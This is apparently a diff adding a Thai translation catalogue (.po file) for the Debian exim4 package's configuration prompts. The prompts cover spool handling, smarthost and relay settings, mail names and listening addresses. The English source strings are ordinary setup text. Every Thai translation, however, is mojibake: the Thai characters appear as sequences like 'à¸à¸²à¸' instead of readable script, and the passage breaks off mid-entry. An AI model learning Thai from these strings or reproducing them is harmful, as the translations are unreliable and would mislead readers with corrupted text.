+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-06-15 14:50+0700\n"
+"Last-Translator: Theppitak Karoonboonyanan <thep@linux.thai.net>\n"
+"Language-Team: Thai <thai-l10n@googlegroups.com>\n"
+"Language: th\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "จะลบเมลà¸à¸²à¸à¸ªà¹ˆà¸‡à¸—ี่ตà¸à¸„้างอยู่ในไดเรà¸à¸—อรี spool หรือไม่?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"มีเมลตà¸à¸„้างอยู่ในไดเรà¸à¸—อรี spool ของ Exim /var/spool/exim4/input ซึ่งยังไม่ได้ส่ง "
+"à¸à¸²à¸£à¸–อดถอน Exim จะทิ้งเมลเหล่านั้นไว้โดยไม่ส่ง จนà¸à¸§à¹ˆà¸²à¸ˆà¸°à¸•à¸´à¸”ตั้ง Exim ใหม่"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"ถ้าไม่เลือà¸à¸•à¸±à¸§à¹€à¸¥à¸·à¸­à¸à¸™à¸µà¹‰ ไดเรà¸à¸—อรี spool จะถูà¸à¹€à¸à¹‡à¸šà¸£à¸±à¸à¸©à¸²à¹„ว้ "
+"à¹à¸¥à¸°à¸ˆà¸°à¸ªà¸²à¸¡à¸²à¸£à¸–ส่งเมลเหล่านั้นได้ในภายหลัง เมื่อได้ติดตั้ง Exim ใหม่อีà¸à¸„รั้ง"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "ตั้งค่า exim4-config ไม่ใช่à¹à¸žà¸à¹€à¸à¸ˆà¸™à¸µà¹‰"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 มีระบบตั้งค่าà¹à¸¢à¸à¸­à¸­à¸à¹„ปในà¹à¸žà¸à¹€à¸à¸ˆà¸•à¹ˆà¸²à¸‡à¸«à¸²à¸ คือ exim4-config ถ้าคุณต้องà¸à¸²à¸£à¸•à¸±à¹‰à¸‡à¸„่า Exim4 "
+"ให้เรียภ'dpkg-reconfigure exim4-config'"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "ไซต์อินเทอร์เน็ต; ส่งà¹à¸¥à¸°à¸£à¸±à¸šà¹€à¸¡à¸¥à¹‚ดยตรงด้วย SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "ส่งเมลด้วย smarthost; รับเมลด้วย SMTP หรือ fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "ส่งเมลด้วย smarthost; ไม่รับเมลในเครื่อง"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "ส่งเมลภายในเครื่องเท่านั้น; ไม่ได้เชื่อมต่อเครือข่าย"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "ไม่ตั้งค่าในตอนนี้"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "ชนิดค่าตั้งเมลโดยทั่วไป:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "เลือà¸à¸Šà¸™à¸´à¸”เซิร์ฟเวอร์เมลที่ตรงà¸à¸±à¸šà¸„วามต้องà¸à¸²à¸£à¸‚องคุณ"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"ระบบที่ใช้หมายเลข IP à¹à¸šà¸š dynamic ซึ่งรวมทั้งระบบที่ต่อทางโทรศัพท์ "
+"ควรจะตั้งค่าให้ส่งเมลขาออà¸à¹„ปยังอีà¸à¹€à¸„รื่องหนึ่ง ซึ่งเรียà¸à¸§à¹ˆà¸² 'smarthost' เพื่อà¸à¸²à¸à¸ªà¹ˆà¸‡ "
+"เพราะหลายระบบในอินเทอร์เน็ตจะไม่รับเมลจาà¸à¸«à¸¡à¸²à¸¢à¹€à¸¥à¸‚ IP ที่เป็น dynamic เพื่อป้องà¸à¸±à¸™à¸ªà¹à¸›à¸¡"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"เครื่องที่ใช้ IP à¹à¸šà¸š dynamic สามารถรับเมลจาà¸à¹€à¸„รื่องตัวเอง "
+"หรือจะปิดà¸à¸²à¸£à¸£à¸±à¸šà¸ªà¹ˆà¸‡à¹€à¸¡à¸¥à¹ƒà¸™à¹€à¸„รื่องทั้งหมดเลยà¸à¹‡à¹„ด้ (ยà¸à¹€à¸§à¹‰à¸™à¹€à¸¡à¸¥à¸‚อง root à¹à¸¥à¸° postmaster)"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "จะปล่อยระบบเมลไว้ไม่ตั้งค่าหรือไม่?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"ระบบเมลจะไม่ทำงาน à¹à¸¥à¸°à¸£à¸±à¸šà¸ªà¹ˆà¸‡à¹€à¸¡à¸¥à¹„ม่ได้ จนà¸à¸§à¹ˆà¸²à¸ˆà¸°à¸–ูà¸à¸•à¸±à¹‰à¸‡à¸„่าเรียบร้อย "
+"à¸à¸²à¸£à¸•à¸±à¹‰à¸‡à¸„่าเมลภายหลังสามารถทำได้ ไม่ว่าจะด้วยà¸à¸²à¸£à¹à¸à¹‰à¹„ขค่าตั้งเอง หรือโดยเรียà¸à¸„ำสั่ง 'dpkg-"
+"reconfigure exim4-config' โดยผู้ใช้ root"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "ชื่อเมลของระบบ:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr "'ชื่อเมล' คือชื่อโดเมนที่จะใช้à¸à¸³à¸«à¸™à¸”ให้à¸à¸±à¸šà¸—ี่อยู่เมลที่ไม่ระบุชื่อโดเมน"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr "ชื่อนี้จะถูà¸à¹ƒà¸Šà¹‰à¹‚ดยโปรà¹à¸à¸£à¸¡à¸­à¸·à¹ˆà¸™à¹† à¹à¸¥à¸°à¸„วรจะเป็นชื่อโดเมนเต็ม (FQDN) เพียงรายà¸à¸²à¸£à¹€à¸”ียว"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"ตัวอย่างเช่น ถ้าที่อยู่เมลสำหรับเครื่องของคุณเป็น foo@example.org "
+"ค่าที่จะใช้สำหรับตัวเลือà¸à¸™à¸µà¹‰à¸ˆà¸°à¹€à¸›à¹‡à¸™ example.org"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr "ชื่อนี้จะไม่ปราà¸à¸à¹ƒà¸™à¸šà¸£à¸£à¸—ัด From: ของเมลขาออภถ้ามีà¸à¸²à¸£à¹€à¸›à¸´à¸”ใช้à¸à¸²à¸£à¹€à¸£à¸µà¸¢à¸šà¹€à¸£à¸µà¸¢à¸‡à¸Šà¸·à¹ˆà¸­à¹ƒà¸«à¸¡à¹ˆ"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "ที่อยู่ปลายทางอื่นที่จะระบบจะรับเมล:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"à¸à¸£à¸¸à¸“าป้อนรายà¸à¸²à¸£à¹‚ดเมน (คั่นด้วยอัฒภาค [semicolon]) ที่เครื่องนี้จะถือเป็นที่อยู่ปลายทาง "
+"โดเมนเหล่านี้เรียà¸à¸§à¹ˆà¸² 'โดเมนท้องถิ่น' โดยโปรà¹à¸à¸£à¸¡à¸ˆà¸°à¹€à¸žà¸´à¹ˆà¸¡à¸Šà¸·à¹ˆà¸­à¹‚ฮสต์ท้องถิ่น (${fqdn}) à¹à¸¥à¸° "
+"'localhost' ต่อจาà¸à¸£à¸²à¸¢à¸à¸²à¸£à¸—ี่ป้อนนี้เสมอ"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"โดยปà¸à¸•à¸´ จะจัดà¸à¸²à¸£à¸—ุà¸à¹‚ดเมนเหมือนà¸à¸±à¸™à¸«à¸¡à¸” เช่น ถ้าà¸à¸³à¸«à¸™à¸”ให้ทั้ง a.example à¹à¸¥à¸° b.example "
+"เป็นโดเมนท้องถิ่น เมลที่ส่งถึง acc@a.example à¹à¸¥à¸° acc@b.example จะไปถึงตำà¹à¸«à¸™à¹ˆà¸‡à¹€à¸”ียวà¸à¸±à¸™ "
+"ถ้าต้องà¸à¸²à¸£à¹ƒà¸«à¹‰à¸ˆà¸±à¸”à¸à¸²à¸£à¸Šà¸·à¹ˆà¸­à¹‚ดเมนต่างๆ ต่างà¸à¸±à¸™à¹„ป à¸à¹‡à¸ˆà¸³à¹€à¸›à¹‡à¸™à¸•à¹‰à¸­à¸‡à¹à¸à¹‰à¹„ขà¹à¸Ÿà¹‰à¸¡à¸„่าตั้งในภายหลัง"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "โดเมนที่จะส่งทอด (relay) เมลให้:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"à¸à¸£à¸¸à¸“าป้อนรายà¸à¸²à¸£à¹‚ดเมน (คั่นด้วยอัฒภาค [semicolon]) ที่เครื่องนี้จะยอมส่งทอดเมลให้ เช่น "
+"เพื่อใช้à¹à¸—น MX หรือเà¸à¸•à¹€à¸§à¸¢à¹Œà¹€à¸¡à¸¥ ซึ่งหมายความว่า เครื่องนี้จะรับเมลสำหรับโดเมนเหล่านี้จาà¸à¸—ี่อื่นๆ "
+"ในอินเทอร์เน็ต à¹à¸¥à¸°à¸ªà¹ˆà¸‡à¸•à¹ˆà¸­à¹ƒà¸«à¹‰à¸•à¸²à¸¡à¹€à¸‡à¸·à¹ˆà¸­à¸™à¹„ขที่à¸à¸³à¸«à¸™à¸”"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "ไม่ต้องป้อนโดเมนท้องถิ่น à¹à¸¥à¸°à¸ªà¸²à¸¡à¸²à¸£à¸–ใช้ wildcard ได้"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "เครื่องที่จะส่งทอดเมลให้:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"à¸à¸£à¸¸à¸“าป้อนรายà¸à¸²à¸£à¸‚องช่วงที่อยู่ IP (คั่นด้วยอัฒภาค [semicolon]) ที่เครื่องนี้จะส่งทอดเมลทั้งหมดให้ "
+"ในà¸à¸²à¸™à¸° smarthost"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"คุณควรใช้รูปà¹à¸šà¸š ที่อยู่/จำนวนบิต มาตรà¸à¸²à¸™ (เช่น 194.222.242.0/24 หรือ "
+"5f03:1200:836f::/48)"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr "ถ้าจะไม่ให้เครื่องนี้ทำหน้าที่ smarthost สำหรับเครื่องอื่น à¸à¹‡à¸›à¸¥à¹ˆà¸­à¸¢à¸£à¸²à¸¢à¸à¸²à¸£à¸™à¸µà¹‰à¹ƒà¸«à¹‰à¸§à¹ˆà¸²à¸‡à¹„ว้"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "ชื่อโดเมนที่ปราà¸à¸à¸ªà¸³à¸«à¸£à¸±à¸šà¸œà¸¹à¹‰à¹ƒà¸Šà¹‰à¸—้องถิ่น:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"à¸à¸²à¸£à¸‹à¹ˆà¸­à¸™à¸Šà¸·à¹ˆà¸­à¹€à¸¡à¸¥à¸—้องถิ่นในเมลขาออà¸à¸–ูà¸à¹€à¸›à¸´à¸”ใช้อยู่ "
+"จึงจำเป็นต้องระบุชื่อโดเมนที่จะใช้ในส่วนโดเมนของที่อยู่ผู้ส่งสำหรับผู้ใช้ในเครื่อง"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "ที่อยู่ IP หรือชื่อโฮสต์ของ smarthost ขาออà¸:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"à¸à¸£à¸¸à¸“าป้อนที่อยู่ IP หรือชื่อโฮสต์ของเซิร์ฟเวอร์เมลที่เครื่องนี้จะใช้เป็น smarthost ขาออภถ้าเครื่อง "
+"smarthost ดังà¸à¸¥à¹ˆà¸²à¸§à¸£à¸±à¸šà¹€à¸¡à¸¥à¸—ี่พอร์ตอื่นที่ไม่ใช่ TCP/25 ให้เพิ่มทวิภาค (colon) สองตัว "
+"ตามด้วยหมายเลขพอร์ตต่อท้าย (ตัวอย่างเช่น smarthost.example::587 หรือ "
+"192.168.254.254::2525) ทวิภาคในที่อยู่ IPv6 à¸à¹‡à¸•à¹‰à¸­à¸‡à¹ƒà¸ªà¹ˆà¸‹à¹‰à¸­à¸™à¹€à¸Šà¹ˆà¸™à¸à¸±à¸™"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"หาภsmarthost ขาออà¸à¸—ี่เครื่องนี้จะใช้ ต้องà¸à¸²à¸£à¸à¸²à¸£à¸¢à¸·à¸™à¸¢à¸±à¸™à¸•à¸±à¸§à¸šà¸¸à¸„คล à¸à¸£à¸¸à¸“าอ่านà¹à¸Ÿà¹‰à¸¡ README ของ "
+"Debian โดยเฉพาะที่ /usr/share/doc/exim4-base "
+"เพื่อดูประเด็นเà¸à¸µà¹ˆà¸¢à¸§à¸à¸±à¸šà¸à¸²à¸£à¸•à¸±à¹‰à¸‡à¸„่าà¸à¸²à¸£à¸¢à¸·à¸™à¸¢à¸±à¸™à¸•à¸±à¸§à¸šà¸¸à¸„คลใน SMTP"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "ผู้รับเมล root à¹à¸¥à¸° postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"เมลสำหรับ 'postmaster', 'root' à¹à¸¥à¸°à¸šà¸±à¸à¸Šà¸µà¸£à¸°à¸šà¸šà¸—ั้งหลาย "
+"จำเป็นต้องถูà¸à¹€à¸›à¸¥à¸µà¹ˆà¸¢à¸™à¹€à¸ªà¹‰à¸™à¸—างไปยังบัà¸à¸Šà¸µà¸œà¸¹à¹‰à¹ƒà¸Šà¹‰à¸—ี่เป็นผู้ดูà¹à¸¥à¸£à¸°à¸šà¸šà¸•à¸±à¸§à¸ˆà¸£à¸´à¸‡"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"ถ้าคุณปล่อยค่านี้ให้ว่างไว้ เมลดังà¸à¸¥à¹ˆà¸²à¸§à¸ˆà¸°à¸–ูà¸à¸šà¸±à¸™à¸—ึà¸à¹„ว้ใน /var/mail/mail ซึ่งไม่ขอà¹à¸™à¸°à¸™à¸³à¹ƒà¸«à¹‰à¸—ำเช่นนั้น"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"สังเà¸à¸•à¸§à¹ˆà¸²à¹€à¸¡à¸¥à¸‚อง postmaster ควรจะถูà¸à¸­à¹ˆà¸²à¸™à¹ƒà¸™à¸£à¸°à¸šà¸šà¹€à¸”ียวà¸à¸±à¸™ ไม่ใช่ส่งต่อไปยังเครื่องอื่น ดังนั้น "
+"ผู้ใช้ที่คุณเลือภ(อย่างน้อยหนึ่งคน) จะต้องไม่เปลี่ยนเส้นทางเมลของตนออà¸à¹„ปยังเครื่องอื่น "
+"คุณสามารถใช้คำนำหน้าว่า 'real-' ได้ ถ้าจะบังคับให้ส่งเมลภายในเครื่อง"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "ถ้ามีชื่อผู้ใช้มาà¸à¸à¸§à¹ˆà¸²à¸«à¸™à¸¶à¹ˆà¸‡à¸„น ให้คั่นด้วยช่องว่าง"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "ที่อยู่ IP ที่จะรอรับà¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸­à¸¡à¸•à¹ˆà¸­ SMTP ที่เข้ามา:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"à¸à¸£à¸¸à¸“าป้อนรายà¸à¸²à¸£à¸—ี่อยู่ IP คั่นด้วยอัฒภาค (semicolon) ดีมอนรอรับà¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸­à¸¡à¸•à¹ˆà¸­ SMTP ของ Exim "
+"จะรอรับà¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸­à¸¡à¸•à¹ˆà¸­à¸—ี่ที่อยู่ IP ในรายà¸à¸²à¸£à¸™à¸µà¹‰"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr "ถ้าปล่อยค่านี้ว่างไว้ Exim จะรอรับà¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸­à¸¡à¸•à¹ˆà¸­à¸—ี่อินเทอร์เฟซเครือข่ายทุà¸à¸­à¸´à¸™à¹€à¸—อร์เฟซที่มี"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"ถ้าเครื่องนี้รับเมลผ่านบริà¸à¸²à¸£à¹ƒà¸™à¹€à¸„รื่องเท่านั้น (โดยไม่ได้มาจาà¸à¹‚ฮสต์อื่น) à¸à¹‡à¸‚อà¹à¸™à¸°à¸™à¸³à¹ƒà¸«à¹‰à¸›à¸´à¸”à¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸­à¸¡à¸•à¹ˆà¸­ "
+"Exim จาà¸à¸ à¸²à¸¢à¸™à¸­à¸ บริà¸à¸²à¸£à¸—ี่ว่านี้ รวมถึงโปรà¹à¸à¸£à¸¡à¸­à¹ˆà¸²à¸™à¹€à¸¡à¸¥ (MUA) ที่ติดต่อà¸à¸±à¸š localhost เท่านั้น "
+"à¹à¸¥à¸°à¸£à¸§à¸¡à¸—ั้ง fetchmail ด้วย เมื่อà¸à¸³à¸«à¸™à¸”ค่านี้เป็น 127.0.0.1 à¸à¹‡à¸ˆà¸°à¹„ม่สามารถติดต่อจาà¸à¸ à¸²à¸¢à¸™à¸­à¸à¹„ด้อีภ"
+"เพราะจะเป็นà¸à¸²à¸£à¸›à¸´à¸”à¸à¸²à¸£à¸£à¸­à¸£à¸±à¸šà¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸­à¸¡à¸•à¹ˆà¸­à¸—ี่อินเทอร์เฟซเครือข่ายที่เชื่อมà¸à¸±à¸šà¸­à¸´à¸™à¹€à¸—อร์เน็ต"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "จำà¸à¸±à¸”จำนวนà¸à¸²à¸£à¸ªà¸­à¸šà¸–าม DNS ให้น้อยที่สุด (เหมาะสำหรับ Dial-on-Demand) หรือไม่?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"ในà¸à¸²à¸£à¸—ำงานปà¸à¸•à¸´ Exim จะสอบถาม DNS เมื่อเริ่มทำงาน à¹à¸¥à¸°à¹€à¸¡à¸·à¹ˆà¸­à¸£à¸±à¸šà¸«à¸£à¸·à¸­à¸à¸£à¸°à¸ˆà¸²à¸¢à¸ˆà¸”หมาย "
+"เพื่อà¸à¸²à¸£à¸¥à¸‡à¸šà¸±à¸™à¸—ึà¸à¸›à¸à¸´à¸šà¸±à¸•à¸´à¸à¸²à¸£ à¹à¸¥à¸°à¹€à¸žà¸·à¹ˆà¸­à¸ˆà¸³à¸à¸±à¸”จำนวนà¸à¸²à¸£à¹ƒà¸Šà¹‰à¸•à¸±à¸§à¹€à¸¥à¸‚ตายตัวในà¹à¸Ÿà¹‰à¸¡à¸„่าตั้ง"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"à¹à¸•à¹ˆà¸–้าเครื่องนี้ไม่ได้มีบริà¸à¸²à¸£ DNS เต็มรูปà¹à¸šà¸šà¹„ว้ให้ใช้อยู่ตลอดเวลา (เช่น "
+"ใช้à¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸­à¸¡à¸•à¹ˆà¸­à¸­à¸´à¸™à¹€à¸—อร์เน็ตด้วยà¸à¸²à¸£à¸«à¸¡à¸¸à¸™à¹‚ทรศัพท์ หรือใช้ dial-on-demand) "
+"à¸à¸²à¸£à¸ªà¸­à¸šà¸–ามดังà¸à¸¥à¹ˆà¸²à¸§à¸­à¸²à¸ˆà¸—ำให้เà¸à¸´à¸”ผลà¸à¸£à¸°à¸—บที่ไม่ต้องà¸à¸²à¸£ เช่น เมื่อ exim เริ่มทำงาน "
+"หรือจัดà¸à¸²à¸£à¸„ิวเมล (à¹à¸¡à¹‰à¸ˆà¸°à¹„ม่มีข้อความรอส่ง) à¸à¹‡à¸­à¸²à¸ˆà¸—ำให้เà¸à¸´à¸”à¸à¸²à¸£à¸«à¸¡à¸¸à¸™à¹€à¸¥à¸‚หมายอย่างฟุ่มเฟือย"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"ตัวเลือà¸à¸™à¸µà¹‰à¸„วรใช้เมื่อระบบใช้ dial-on-demand à¹à¸•à¹ˆà¸–้าระบบมีà¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸­à¸¡à¸•à¹ˆà¸­à¸­à¸´à¸™à¹€à¸—อร์เน็ตตลอดเวลา "
+"à¸à¹‡à¸„วรปิดตัวเลือà¸à¸™à¸µà¹‰"
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "ตั้งค่าเซิร์ฟเวอร์เมล"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "จะà¹à¸¢à¸à¸„่าตั้งเป็นà¹à¸Ÿà¹‰à¸¡à¹€à¸¥à¹‡à¸à¹† หรือไม่?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"à¹à¸žà¸à¹€à¸à¸ˆ exim4 ของเดเบียนสามารถใช้ 'ค่าตั้งà¹à¸šà¸šà¹„ม่à¹à¸¢à¸à¸ªà¹ˆà¸§à¸™' โดยใช้à¹à¸Ÿà¹‰à¸¡à¹ƒà¸«à¸à¹ˆà¹à¸Ÿà¹‰à¸¡à¹€à¸”ียว (/etc/"
+"exim4/exim4.conf.template) หรือใช้ 'ค่าตั้งà¹à¸šà¸šà¹à¸¢à¸à¸ªà¹ˆà¸§à¸™' โดยค่าตั้งของ Exim "
